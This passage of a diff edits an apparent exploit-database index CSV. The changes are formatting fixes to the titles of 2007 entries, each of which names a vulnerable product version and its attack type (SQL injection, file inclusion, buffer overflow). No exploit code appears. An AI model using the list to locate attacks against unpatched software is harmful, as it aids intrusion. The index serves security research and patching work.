 4146,platforms/windows/remote/4146.cpp,"ESRI ArcSDE 9.0 - 9.2sp1 Remote Buffer Overflow Exploit",2007-07-03,Heretic2,windows,remote,5151
-4147,platforms/php/webapps/4147.php,"PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit",2007-07-03,Coloss,php,webapps,0
+4147,platforms/php/webapps/4147.php,"PNphpBB2 <= 1.2i - viewforum.php Remote SQL Injection Exploit",2007-07-03,Coloss,php,webapps,0
 4148,platforms/windows/dos/4148.html,"EnjoySAP ActiveX kweditcontrol.kwedit.1 Remote Stack Overflow PoC",2007-07-05,"Mark Litchfield",windows,dos,0
 4149,platforms/windows/dos/4149.html,"EnjoySAP ActiveX rfcguisink.rfcguisink.1 Remote Heap Overflow PoC",2007-07-05,"Mark Litchfield",windows,dos,0
 4150,platforms/php/webapps/4150.txt,"VRNews 1.1.1 (admin.php) Remote Permission Bypass Vulnerability",2007-07-05,R4M!,php,webapps,0
@@ -3807,7 +3807,7 @@ id,file,description,date,author,platform,type,port
 4159,platforms/php/webapps/4159.txt,"GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability",2007-07-07,Xenduer77,php,webapps,0
 4160,platforms/windows/remote/4160.html,"Chilkat Zip ActiveX Component 12.4 Multiple Insecure Methods Exploit",2007-07-07,shinnai,windows,remote,0
 4161,platforms/php/webapps/4161.txt,"FlashGameScript <= 1.7 (user) Remote SQL Injection Vulnerability",2007-07-08,Xenduer77,php,webapps,0
-4162,platforms/linux/remote/4162.c,"Apache Tomcat Connector (mod_jk) Remote  Exploit (exec-shield)",2007-07-08,Xpl017Elz,linux,remote,80
+4162,platforms/linux/remote/4162.c,"Apache Tomcat Connector (mod_jk) Remote Exploit (exec-shield)",2007-07-08,Xpl017Elz,linux,remote,80
 4163,platforms/php/webapps/4163.php,"AV Tutorial Script 1.0 Remote User Pass Change Exploit",2007-07-08,Dj7xpl,php,webapps,0
 4164,platforms/php/webapps/4164.txt,"Aigaion <= 1.3.3 (topic topic_id) Remote SQL Injection Vulnerability",2007-07-09,CypherXero,php,webapps,0
 4165,platforms/windows/local/4165.c,"WinPcap 4.0 NPF.SYS Privilege Elevation Vulnerability PoC Exploit",2007-07-10,"Mario Ballano BĂ¡rcena",windows,local,0
@@ -3817,7 +3817,7 @@ id,file,description,date,author,platform,type,port
 4169,platforms/php/webapps/4169.txt,"FlashBB <= 1.1.8 (sendmsg.php) Remote File Inclusion Vulnerability",2007-07-10,Kw3[R]Ln,php,webapps,0
 4170,platforms/windows/remote/4170.html,"Program Checker (sasatl.dll 1.5.0.531) Javascript Heap Spraying Exploit",2007-07-10,callAX,windows,remote,0
 4171,platforms/php/webapps/4171.pl,"Mail Machine <= 3.989 Local File Inclusion Exploit",2007-07-10,"H4 / XPK",php,webapps,0
-4172,platforms/linux/local/4172.c,"Linux Kernel < 2.6.20.2 IPV6_Getsockopt_Sticky Memory Leak PoC",2007-07-10,dreyer,linux,local,0
+4172,platforms/linux/local/4172.c,"Linux Kernel < 2.6.20.2 - IPv6_Getsockopt_Sticky Memory Leak PoC",2007-07-10,dreyer,linux,local,0
 4173,platforms/php/webapps/4173.txt,"SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln",2007-07-11,jmp-esp,php,webapps,0
 4174,platforms/php/webapps/4174.txt,"PsNews 1.1 (show.php newspath) Local File Inclusion Vulnerability",2007-07-12,irk4z,php,webapps,0
 4175,platforms/multiple/dos/4175.php,"PHP 5.2.3 bz2 com_print_typeinfo() Denial of Service Exploit",2007-07-12,shinnai,multiple,dos,0
@@ -3830,7 +3830,7 @@ id,file,description,date,author,platform,type,port
 4182,platforms/php/webapps/4182.txt,"CMScout <= 1.23 (index.php) Remote SQL Injection Vulnerability",2007-07-14,g00ns,php,webapps,0
 4183,platforms/php/webapps/4183.txt,"eSyndiCat Directory Software Multiple SQL Injection Vulnerabilities",2007-07-14,d3v1l,php,webapps,0
 4184,platforms/php/webapps/4184.txt,"Realtor 747 (index.php categoryid) Remote SQL Injection Vulnerbility",2007-07-14,t0pP8uZz,php,webapps,0
-4185,platforms/php/webapps/4185.txt,"Prozilla Directory Script (directory.php cat_id)  SQL Injection Vulnerbility",2007-07-14,t0pP8uZz,php,webapps,0
+4185,platforms/php/webapps/4185.txt,"Prozilla Directory Script (directory.php cat_id) SQL Injection Vulnerbility",2007-07-14,t0pP8uZz,php,webapps,0
 4186,platforms/php/webapps/4186.txt,"paFileDB 3.6 (search.php) Remote SQL Injection Vulnerability",2007-07-14,pUm,php,webapps,0
 4187,platforms/php/webapps/4187.txt,"Traffic Stats (referralUrl.php offset) Remote SQL Injection Vulnerbility",2007-07-16,t0pP8uZz,php,webapps,0
 4188,platforms/windows/remote/4188.txt,"Flash Player/Plugin Video file parsing Remote Code Execution POC",2007-07-16,yunshu,windows,remote,0
@@ -3839,7 +3839,7 @@ id,file,description,date,author,platform,type,port
 4191,platforms/php/webapps/4191.txt,"Pictures Rating (index.php msgid) Remote SQL Injection Vulnerbility",2007-07-18,t0pP8uZz,php,webapps,0
 4192,platforms/php/webapps/4192.htm,"Vivvo CMS <= 3.4 (index.php) Remote BLIND SQL Injection Exploit",2007-07-18,ajann,php,webapps,0
 4193,platforms/php/webapps/4193.txt,"QuickEStore <= 8.2 (insertorder.cfm) Remote SQL Injection Vulnerability",2007-07-18,meoconx,php,webapps,0
-4194,platforms/php/webapps/4194.txt,"Joomla Component Expose <= RC35 Remote  File Upload Vulnerability",2007-07-18,"Cold Zero",php,webapps,0
+4194,platforms/php/webapps/4194.txt,"Joomla Component Expose <= RC35 Remote File Upload Vulnerability",2007-07-18,"Cold Zero",php,webapps,0
 4195,platforms/php/webapps/4195.txt,"BBS E-Market (postscript.php p_mode) Remote File Inclusion Vulnerability",2007-07-18,mozi,php,webapps,0
 4196,platforms/multiple/dos/4196.c,"Asterisk < 1.2.22 / 1.4.8 / 2.2.1 chan_skinny Remote Denial of Service",2007-07-18,fbffff,multiple,dos,0
 4197,platforms/php/webapps/4197.txt,"phpBB Module SupaNav 1.0.0 (link_main.php) RFI Vulnerability",2007-07-18,bd0rk,php,webapps,0
@@ -3863,7 +3863,7 @@ id,file,description,date,author,platform,type,port
 4216,platforms/linux/dos/4216.pl,"Xserver 0.1 Alpha Post Request Remote Buffer Overflow Exploit",2007-07-23,deusconstruct,linux,dos,0
 4217,platforms/windows/remote/4217.html,"LinkedIn Toolbar 3.0.2.1098 Remote Buffer Overflow Exploit",2007-07-24,"Jared DeMott",windows,remote,0
 4218,platforms/windows/local/4218.php,"PHP 5.2.3 win32std ext. safe_mode/disable_functions Protections Bypass",2007-07-24,shinnai,windows,local,0
-4219,platforms/php/webapps/4219.txt,"Confixx Pro <= 3.3.1 (saveserver.php) Remote File Inclusion Vulnerability",2007-07-24,"H4 / XPK",php,webapps,0
+4219,platforms/php/webapps/4219.txt,"Confixx Pro <= 3.3.1 - (saveserver.php) Remote File Inclusion Vulnerability",2007-07-24,"H4 / XPK",php,webapps,0
 4220,platforms/php/webapps/4220.pl,"Entertainment CMS (Local Inclusion) Remote Command Execution Exploit",2007-07-24,Kw3[R]Ln,php,webapps,0
 4221,platforms/php/webapps/4221.txt,"Article Directory (index.php page) Remote File Inclusion Vulnerability",2007-07-24,mozi,php,webapps,0
 4222,platforms/windows/remote/4222.c,"Windows RSH daemon 1.7 Remote Buffer Overflow Exploit",2007-07-24,"Joey Mengele",windows,remote,514
@@ -3873,13 +3873,13 @@ id,file,description,date,author,platform,type,port
 4226,platforms/windows/remote/4226.html,"Clever Internet ActiveX Suite 6.2 Arbitrary File Download/Overwrite",2007-07-25,shinnai,windows,remote,0
 4227,platforms/windows/dos/4227.php,"PHP php_gd2.dll imagepsloadfont Local Buffer Overflow PoC",2007-07-26,r0ut3r,windows,dos,0
 4228,platforms/windows/remote/4228.pl,"IPSwitch IMail Server 2006 9.10 SUBSCRIBE Remote Overflow Exploit",2007-07-26,ZhenHan.Liu,windows,remote,143
-4229,platforms/windows/local/4229.pl,"CrystalPlayer 1.98 Playlist Crafted mls File Local Buffer Overflow Exploit",2007-07-26,"Arham Muhammad",windows,local,0
+4229,platforms/windows/local/4229.pl,"CrystalPlayer 1.98 - (.mls) Local Buffer Overflow Exploit",2007-07-26,"Arham Muhammad",windows,local,0
 4230,platforms/windows/remote/4230.html,"Nessus Vulnerability Scanner 3.0.6 ActiveX Remote Delete File Exploit",2007-07-26,h07,windows,remote,0
 4231,platforms/aix/local/4231.c,"IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit",2007-07-27,qaaz,aix,local,0
 4232,platforms/aix/local/4232.sh,"IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit",2007-07-27,qaaz,aix,local,0
 4233,platforms/aix/local/4233.c,"IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit",2007-07-27,qaaz,aix,local,0
 4234,platforms/windows/remote/4234.html,"mlsrvx.dll 1.8.9.1 ArGoSoft Mail Server Data Write/Code Execution",2007-07-27,callAX,windows,remote,0
-4235,platforms/php/webapps/4235.txt,"Seditio CMS <= v121 (pfs.php) Remote File Upload Vulnerability",2007-07-27,A.D.T,php,webapps,0
+4235,platforms/php/webapps/4235.txt,"Seditio CMS <= 121 - (pfs.php) Remote File Upload Vulnerability",2007-07-27,A.D.T,php,webapps,0
 4236,platforms/windows/local/4236.php,"PHP 5.x (win32service) Local Safe Mode Bypass Exploit",2007-07-27,NetJackal,windows,local,0
 4237,platforms/windows/remote/4237.html,"Nessus Vulnerability Scanner 3.0.6 ActiveX Command Exec Exploit",2007-07-27,h07,windows,remote,0
 4238,platforms/php/webapps/4238.txt,"Adult Directory (cat_id) Remote SQL Injection Vulnerability",2007-07-27,t0pP8uZz,php,webapps,0
@@ -3934,7 +3934,7 @@ id,file,description,date,author,platform,type,port
 4287,platforms/windows/remote/4287.py,"SurgeMail 38k (SEARCH) Remote Buffer Overflow Exploit",2007-08-14,"Joey Mengele",windows,remote,143
 4288,platforms/windows/dos/4288.c,"WireShark < 0.99.6 MMS Remote Denial of Service Exploit",2007-08-14,ZwelL,windows,dos,0
 4289,platforms/windows/dos/4289.php,"Easy Chat Server 2.2 Remote Denial of Service Exploit",2007-08-14,NetJackal,windows,dos,0
-4290,platforms/windows/remote/4290.html,"EDraw Office Viewer Component 5.1  HttpDownloadFile() Insecure Method",2007-08-16,shinnai,windows,remote,0
+4290,platforms/windows/remote/4290.html,"EDraw Office Viewer Component 5.1 HttpDownloadFile() Insecure Method",2007-08-16,shinnai,windows,remote,0
 4291,platforms/php/webapps/4291.txt,"GetMyOwnArcade (search.php query) Remote SQL Injection Vulnerability",2007-08-16,RoXur777,php,webapps,0
 4292,platforms/windows/remote/4292.cpp,"Diskeeper 9 Remote Memory Disclosure Exploit",2007-08-17,Pravus,windows,remote,0
 4293,platforms/windows/dos/4293.php,"PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)",2007-08-18,boecke,windows,dos,0
@@ -3943,7 +3943,7 @@ id,file,description,date,author,platform,type,port
 4296,platforms/php/webapps/4296.txt,"Mambo Component SimpleFAQ 2.11 Remote SQL Injection Vulnerability",2007-08-20,k1tk4t,php,webapps,0
 4297,platforms/hardware/dos/4297.pl,"Cisco IP Phone 7940 (3 SIP messages) Remote Denial of Service Exploit",2007-08-21,MADYNES,hardware,dos,0
 4298,platforms/hardware/dos/4298.pl,"Cisco IP Phone 7940 (10 SIP messages) Remote Denial of Service Exploit",2007-08-21,MADYNES,hardware,dos,0
-4299,platforms/windows/remote/4299.html,"eCentrex VOIP Client module (uacomx.ocx 2.0.1)  Remote BOF Exploit",2007-08-21,rgod,windows,remote,0
+4299,platforms/windows/remote/4299.html,"eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote BOF Exploit",2007-08-21,rgod,windows,remote,0
 4300,platforms/php/webapps/4300.txt,"litecommerce 2004 (category_id) Remote SQL Injection Vulnerability",2007-08-21,k1tk4t,php,webapps,0
 4301,platforms/windows/remote/4301.cpp,"Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Overflow Exploit",2007-08-22,ZhenHan.Liu,windows,remote,25
 4302,platforms/windows/local/4302.php,"PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit",2007-08-22,Inphex,windows,local,0
@@ -3960,24 +3960,24 @@ id,file,description,date,author,platform,type,port
 4313,platforms/php/webapps/4313.pl,"SunShop 4.0 RC 6 (search) Remote Blind SQL Injection Exploit",2007-08-25,k1tk4t,php,webapps,0
 4314,platforms/windows/local/4314.php,"PHP Perl Extension Safe_mode BypassExploit",2007-08-25,NetJackal,windows,local,0
 4315,platforms/linux/remote/4315.py,"SIDVault LDAP Server Preauth Remote Buffer Overflow Exploit",2007-08-25,"Joxean Koret",linux,remote,389
-4316,platforms/windows/remote/4316.cpp,"Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP Overwrite Exploit",2007-08-26,Heretic2,windows,remote,25
-4317,platforms/php/webapps/4317.txt,"2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability",2007-08-26,bd0rk,php,webapps,0
+4316,platforms/windows/remote/4316.cpp,"Mercury/32 3.32-4.51 - SMTP Pre-Auth EIP Overwrite Exploit",2007-08-26,Heretic2,windows,remote,25
+4317,platforms/php/webapps/4317.txt,"2532/Gigs 1.2.1 - (activateuser.php) Local File Inclusion Vulnerability",2007-08-26,bd0rk,php,webapps,0
 4318,platforms/windows/dos/4318.php,"PHP <= 5.2.0 (php_iisfunc.dll) Local Buffer Overflow PoC (win32)",2007-08-27,boecke,windows,dos,0
 4319,platforms/hardware/dos/4319.pl,"Thomson SIP phone ST 2030 Remote Denial of Service Exploit",2007-08-27,MADYNES,hardware,dos,0
 4320,platforms/php/webapps/4320.txt,"SomeryC <= 0.2.4 (include.php skindir) Remote File Inclusion Vulnerability",2007-08-27,Katatafish,php,webapps,0
-4321,platforms/linux/remote/4321.rb,"BitchX 1.1 Final MODE Remote Heap Overflow Exploit (0-day)",2007-08-27,bannedit,linux,remote,0
+4321,platforms/linux/remote/4321.rb,"BitchX 1.1 Final - MODE Remote Heap Overflow Exploit (0day)",2007-08-27,bannedit,linux,remote,0
 4322,platforms/windows/remote/4322.html,"NVR SP2 2.0 (nvUnifiedControl.dll v. 1.1.45.0)SetText() Remote Exploit",2007-08-28,shinnai,windows,remote,0
 4323,platforms/windows/remote/4323.html,"NVR SP2 2.0 (nvUtility.dll v. 1.0.14.0) SaveXMLFile() Inscure Method",2007-08-27,shinnai,windows,remote,0
 4324,platforms/windows/remote/4324.html,"NVR SP2 2.0 (nvUtility.dll v. 1.0.14.0) DeleteXMLFile() Inscure Method",2007-08-27,shinnai,windows,remote,0
 4325,platforms/windows/local/4325.php,"XAMPP for Windows 1.6.3a Local Privilege Escalation Exploit",2007-08-27,Inphex,windows,local,0
 4326,platforms/php/webapps/4326.txt,"Arcadem 2.01 Remote SQL Injection / RFI Vulnerabilties",2007-08-27,SmOk3,php,webapps,0
-4327,platforms/php/webapps/4327.txt,"WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection Vulnerability",2007-08-27,D4m14n,php,webapps,0
-4328,platforms/windows/remote/4328.html,"Postcast Server Pro 3.0.61 / Quiksoft EasyMail  (emsmtp.dll 6.0.1) BoF",2007-08-28,rgod,windows,remote,0
+4327,platforms/php/webapps/4327.txt,"WBB2-Addon: Acrotxt 1.0 - (show) Remote SQL Injection Vulnerability",2007-08-27,D4m14n,php,webapps,0
+4328,platforms/windows/remote/4328.html,"Postcast Server Pro 3.0.61 / Quiksoft EasyMail (emsmtp.dll 6.0.1) BoF",2007-08-28,rgod,windows,remote,0
 4329,platforms/php/webapps/4329.txt,"Micro CMS 3.5 (revert-content.php) Remote SQL Injection Vulnerability",2007-08-28,"not sec group",php,webapps,0
 4330,platforms/php/webapps/4330.txt,"ACG News 1.0 (aid/catid) Remote SQL Injection Vulnerabilities",2007-08-28,SmOk3,php,webapps,0
 4331,platforms/php/webapps/4331.pl,"DL PayCart 1.01 (viewitem.php ItemID) Blind SQL Injection Exploit",2007-08-28,irvian,php,webapps,0
-4332,platforms/php/webapps/4332.txt,"VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion Vulnerability",2007-08-28,DNX,php,webapps,0
-4333,platforms/php/webapps/4333.txt,"PHPNuke-Clan <= 4.2.0 (mvcw_conver.php) RFI Vulnerability",2007-08-28,DNX,php,webapps,0
+4332,platforms/php/webapps/4332.txt,"VWar <= 1.5.0 R15 - (mvcw.php) Remote File Inclusion Vulnerability",2007-08-28,DNX,php,webapps,0
+4333,platforms/php/webapps/4333.txt,"PHPNuke-Clan <= 4.2.0 - (mvcw_conver.php) RFI Vulnerability",2007-08-28,DNX,php,webapps,0
 4334,platforms/windows/remote/4334.txt,"MSN messenger 7.x (8.0?) VIDEO Remote Heap Overflow Exploit",2007-08-29,wushi,windows,remote,0
 4335,platforms/windows/dos/4335.txt,"Yahoo! Messenger 8.1.0.413 (webcam) Remote Crash Exploit",2007-08-29,wushi,windows,dos,0
 4336,platforms/php/webapps/4336.txt,"xGB 2.0 (xGB.php) Remote Permission Bypass Vulnerability",2007-08-29,DarkFuneral,php,webapps,0
@@ -4004,7 +4004,7 @@ id,file,description,date,author,platform,type,port
 4357,platforms/windows/remote/4357.html,"Telecom Italy Alice Messenger Remote registry key manipulation Exploit",2007-09-03,rgod,windows,remote,0
 4358,platforms/php/webapps/4358.txt,"STPHPLibrary (STPHPLIB_DIR) Remote File Inclusion Vulnerability",2007-09-03,leetsecurity,php,webapps,0
 4359,platforms/multiple/dos/4359.txt,"Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC",2007-09-03,"David Vaartjes",multiple,dos,0
-4360,platforms/windows/remote/4360.rb,"CCProxy <= v6.2 Telnet Proxy Ping Overflow Exploit (meta)",2007-09-03,"Patrick Webster",windows,remote,0
+4360,platforms/windows/remote/4360.rb,"CCProxy <= 6.2 - Telnet Proxy Ping Overflow Exploit (meta)",2007-09-03,"Patrick Webster",windows,remote,0
 4361,platforms/windows/local/4361.pl,"Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec Exploit",2007-09-04,Koshi,windows,local,0
 4362,platforms/linux/remote/4362.pl,"Web Oddity Web Server 0.09b Directory Transversal Exploit",2007-09-04,Katatafish,linux,remote,0
 4363,platforms/php/webapps/4363.txt,"PHPOF <= 20040226 (DB_adodb.class.php) RFI Vulnerability",2007-09-04,"ThE TiGeR",php,webapps,0
@@ -4022,7 +4022,7 @@ id,file,description,date,author,platform,type,port
 4375,platforms/windows/dos/4375.txt,"BaoFeng2 Mps.dll Activex Multiple Remote Buffer Overflow PoCs",2007-09-08,ZhenHan.Liu,windows,dos,0
 4376,platforms/php/webapps/4376.txt,"TLM CMS 3.2 Multiple Remote SQL Injection Vulnerabilities",2007-09-08,k1tk4t,php,webapps,0
 4377,platforms/php/webapps/4377.txt,"Focus/SIS <= 1.0/2.2 Remote File Inclusion Vulnerabilities",2007-09-08,"ThE TiGeR",php,webapps,0
-4378,platforms/php/webapps/4378.htm,"fuzzylime cms  <= 3.0 Local File Inclusion Vulnerability",2007-09-08,"not sec group",php,webapps,0
+4378,platforms/php/webapps/4378.htm,"fuzzylime cms <= 3.0 Local File Inclusion Vulnerability",2007-09-08,"not sec group",php,webapps,0
 4379,platforms/windows/dos/4379.html,"Microsoft SQL Server Distributed Management Objects (sqldmo.dll) BoF",2007-09-08,rgod,windows,dos,0
 4380,platforms/php/webapps/4380.txt,"Sisfo Kampus 2006 (blanko.preview.php) Local File Disclosure Vuln",2007-09-08,QTRinux,php,webapps,0
 4381,platforms/php/webapps/4381.txt,"Txx CMS 0.2 Multiple Remote File Inclusion Vulnerabilities",2007-09-08,"Nice Name Crew",php,webapps,0
@@ -4045,10 +4045,10 @@ id,file,description,date,author,platform,type,port
 4398,platforms/windows/remote/4398.html,"Microsoft SQL Server Distributed Management Objects BoF Exploit",2007-09-12,96sysim,windows,remote,0
 4399,platforms/multiple/remote/4399.html,"Apple Quicktime (Multiple Browsers) Command Execution PoC (0day)",2007-09-12,pdp,multiple,remote,0
 4400,platforms/php/webapps/4400.txt,"KwsPHP Module jeuxflash 1.0 (id) Remote SQL Injection Vulnerability",2007-09-13,Houssamix,php,webapps,0
-4401,platforms/php/webapps/4401.txt,"Joomla Component joomlaradio v5 Remote File Inclusion Vulnerability",2007-09-13,Morgan,php,webapps,0
+4401,platforms/php/webapps/4401.txt,"Joomla Component joomlaradio 5.0 - Remote File Inclusion Vulnerability",2007-09-13,Morgan,php,webapps,0
 4403,platforms/windows/dos/4403.py,"JetCast Server 2.0.0.4308 Remote Denial of Service Exploit",2007-09-13,vCore,windows,dos,0
 4404,platforms/php/webapps/4404.txt,"GForge < 4.6b2 (skill_delete) Remote SQL Injection Vulnerability",2007-09-13,"Sumit Siddharth",php,webapps,0
-4405,platforms/php/webapps/4405.txt,"Ajax File Browser 3b (settings.inc.php approot)  RFI Vulnerability",2007-09-14,"arfis project",php,webapps,0
+4405,platforms/php/webapps/4405.txt,"Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability",2007-09-14,"arfis project",php,webapps,0
 4406,platforms/php/webapps/4406.txt,"phpFFL 1.24 PHPFFL_FILE_ROOT Remote File Inclusion Vulnerabilities",2007-09-14,Dj7xpl,php,webapps,0
 4407,platforms/php/webapps/4407.java,"PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit",2007-09-14,D4real_TeaM,php,webapps,0
 4408,platforms/php/webapps/4408.pl,"JBlog 1.0 (index.php id) Remote SQL Injection Exploit",2007-09-14,s4mi,php,webapps,0
@@ -4127,15 +4127,15 @@ id,file,description,date,author,platform,type,port
 4481,platforms/php/webapps/4481.txt,"Poppawid 2.7 (form) Remote File Inclusion Vulnerability",2007-10-02,0in,php,webapps,0
 4482,platforms/php/webapps/4482.txt,"Web Template Management System 1.3 Remote SQL Injection",2007-10-04,bius,php,webapps,0
 4483,platforms/php/webapps/4483.txt,"Ossigeno CMS <= 2.2a3 (footer.php) Remote File Inclusion Vulnerability",2007-10-04,"Nice Name Crew",php,webapps,0
-4484,platforms/windows/remote/4484.pl,"FSFDT v3.000 d9 (HELP) Remote Buffer Overflow Exploit",2007-10-04,weak,windows,remote,0
-4485,platforms/php/webapps/4485.txt,"Trionic Cite CMS <= 1.2rev9 Remote File Inclusion Vulnerability",2007-10-05,GoLd_M,php,webapps,0
+4484,platforms/windows/remote/4484.pl,"FSFDT v3.000 d9 - (HELP) Remote Buffer Overflow Exploit",2007-10-04,weak,windows,remote,0
+4485,platforms/php/webapps/4485.txt,"Trionic Cite CMS <= 1.2rev9 - Remote File Inclusion Vulnerability",2007-10-05,GoLd_M,php,webapps,0
 4486,platforms/asp/webapps/4486.txt,"Furkan Tastan Blog Remote SQL Injection Vulnerability",2007-10-05,CyberGhost,asp,webapps,0
 4487,platforms/windows/remote/4487.html,"Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion",2007-10-05,shinnai,windows,remote,0
 4488,platforms/windows/remote/4488.html,"Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite",2007-10-05,shinnai,windows,remote,0
 4489,platforms/php/webapps/4489.txt,"Joomla panoramic component 1.0 Remote File Inclusion Vulnerability",2007-10-06,NoGe,php,webapps,0
 4490,platforms/php/webapps/4490.txt,"ELSE IF CMS 0.6 Multiple Remote Vulnerabilities / Exploit",2007-10-06,"HACKERS PAL",php,webapps,0
 4491,platforms/php/webapps/4491.php,"CMS Creamotion (securite.php) Remote File Inclusion Exploit",2007-10-06,"HACKERS PAL",php,webapps,0
-4492,platforms/php/webapps/4492.txt,"Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln",2007-10-06,Mogatil,php,webapps,0
+4492,platforms/php/webapps/4492.txt,"Picturesolution <= 2.1 - (config.php path) Remote File Inclusion Vuln",2007-10-06,Mogatil,php,webapps,0
 4493,platforms/php/webapps/4493.txt,"SkaDate Online 5.0/6.0 Remote File Disclosure Vulnerability",2007-10-06,SnIpEr_SA,php,webapps,0
 4494,platforms/php/webapps/4494.txt,"Verlihub Control Panel <= 1.7.x Local File Inclusion Vulnerability",2007-10-07,TEAMELITE,php,webapps,0
 4495,platforms/php/webapps/4495.txt,"idmos-phoenix cms (aural.php) Remote File Inclusion Vulnerability",2007-10-07,"HACKERS PAL",php,webapps,0
@@ -4180,7 +4180,7 @@ id,file,description,date,author,platform,type,port
 4534,platforms/linux/remote/4534.c,"eXtremail <= 2.1.1 PLAIN authentication Remote Stack Overflow Exploit",2007-10-15,mu-b,linux,remote,143
 4535,platforms/linux/dos/4535.pl,"eXtremail <= 2.1.1 Remote Heap Overflow PoC",2007-10-15,mu-b,linux,dos,0
 4536,platforms/php/webapps/4536.txt,"doop CMS <= 1.3.7 (page) Local File Inclusion Vulnerability",2007-10-15,vladii,php,webapps,0
-4537,platforms/linux/remote/4537.c,"Subversion 0.3.7/1.0.0 Remote Buffer Overflow Exploit",2005-05-03,greuff,linux,remote,0
+4537,platforms/linux/remote/4537.c,"Subversion 0.3.7/1.0.0 - Remote Buffer Overflow Exploit",2005-05-03,greuff,linux,remote,0
 4538,platforms/php/webapps/4538.txt,"Artmedic CMS <= 3.4 (index.php page) Local File Inclusion Vulnerability",2007-10-16,iNs,php,webapps,0
 4539,platforms/php/webapps/4539.txt,"Okul Otomasyon Portal 2.0 Remote SQL Injection Vulnerability",2007-10-16,dumenci,php,webapps,0
 4540,platforms/multiple/dos/4540.pl,"GCALDaemon <= 1.0-beta13 Remote Denial of Service Exploit",2007-10-16,ikki,multiple,dos,0
@@ -4233,7 +4233,7 @@ id,file,description,date,author,platform,type,port
 4587,platforms/php/webapps/4587.txt,"miniBB 2.1 (table) Remote SQL Injection Vulnerability",2007-10-30,irk4z,php,webapps,0
 4588,platforms/php/webapps/4588.txt,"phpFaber URLInn 2.0.5 (dir_ws) Remote File Inclusion Vulnerability",2007-10-30,BiNgZa,php,webapps,0
 4589,platforms/php/webapps/4589.htm,"PHP-AGTC membership system 1.1a Remote Add Admin Exploit",2007-10-30,0x90,php,webapps,0
-4591,platforms/php/webapps/4591.txt,"ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability",2007-10-31,GoLd_M,php,webapps,0
+4591,platforms/php/webapps/4591.txt,"ModuleBuilder 1.0 - (file) Remote File Disclosure Vulnerability",2007-10-31,GoLd_M,php,webapps,0
 4592,platforms/php/webapps/4592.txt,"ISPworker 1.21 download.php Remote File Disclosure Vulnerability",2007-10-31,GoLd_M,php,webapps,0
 4593,platforms/php/webapps/4593.txt,"WordPress Plugin BackUpWordPress <= 0.4.2b RFI Vulnerability",2007-11-01,S.W.A.T.,php,webapps,0
 4594,platforms/windows/remote/4594.html,"SonicWall SSL-VPN NeLaunchCtrl ActiveX Control Remote Exploit",2007-11-01,krafty,windows,remote,0
@@ -4283,7 +4283,7 @@ id,file,description,date,author,platform,type,port
 4638,platforms/php/webapps/4638.txt,"SkyPortal vRC6 Multiple Remote Vulnerabilities",2007-11-20,BugReport.IR,php,webapps,0
 4639,platforms/php/webapps/4639.htm,"Ucms <= 1.8 Backdoor Remote Command Execution Exploit",2007-11-21,D4m14n,php,webapps,0
 4640,platforms/php/webapps/4640.txt,"TalkBack 2.2.7 Multiple Remote File Inclusion Vulnerabilities",2007-11-21,NoGe,php,webapps,0
-4641,platforms/php/webapps/4641.txt,"alstrasoft E-Friends  <= 4.98 (seid) Multiple SQL Injection Vulnerabilities",2007-11-21,K-159,php,webapps,0
+4641,platforms/php/webapps/4641.txt,"alstrasoft E-Friends <= 4.98 (seid) Multiple SQL Injection Vulnerabilities",2007-11-21,K-159,php,webapps,0
 4642,platforms/php/webapps/4642.txt,"DevMass Shopping Cart <= 1.0 Remote File Include Vulnerability",2007-11-22,S.W.A.T.,php,webapps,0
 4643,platforms/php/webapps/4643.py,"VigileCMS <= 1.8 Stealth Remote Command Execution Exploit",2007-11-22,The:Paradox,php,webapps,0
 4644,platforms/asp/webapps/4644.txt,"NetAuctionHelp 4.1 (nsearch) Remote SQL Injection Vulnerability",2007-11-22,"Aria-Security Team",asp,webapps,0
@@ -4338,7 +4338,7 @@ id,file,description,date,author,platform,type,port
 4693,platforms/php/webapps/4693.txt,"SineCMS <= 2.3.4 Calendar Remote SQL Injection Vulnerability",2007-12-05,KiNgOfThEwOrLd,php,webapps,0
 4694,platforms/php/webapps/4694.txt,"ezContents 1.4.5 (index.php link) Remote File Disclosure Vulnerability",2007-12-05,p4imi0,php,webapps,0
 4695,platforms/php/webapps/4695.txt,"Wordpress Plugin PictPress <= 0.91 Remote File Disclosure Vulnerability",2007-12-05,GoLd_M,php,webapps,0
-4696,platforms/php/webapps/4696.txt,"SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities",2007-12-06,GoLd_M,php,webapps,0
+4696,platforms/php/webapps/4696.txt,"SerWeb <= 2.0.0 dev1 2007-02-20 - Multiple RFI / LFI Vulnerabilities",2007-12-06,GoLd_M,php,webapps,0
 4697,platforms/asp/webapps/4697.txt,"MWOpen E-Commerce leggi_commenti.asp Remote SQL Injection",2007-12-06,KiNgOfThEwOrLd,asp,webapps,0
 4698,platforms/linux/local/4698.c,"Send ICMP Nasty Garbage (sing) Append File Logrotate Exploit",2007-12-06,bannedit,linux,local,0
 4699,platforms/windows/remote/4699.txt,"Firefly Media Server (mt-daapd) 2.4.1 / SVN 1699 Multiple Vulnerabilities",2007-12-07,"Luigi Auriemma",windows,remote,0
@@ -4394,9 +4394,9 @@ id,file,description,date,author,platform,type,port
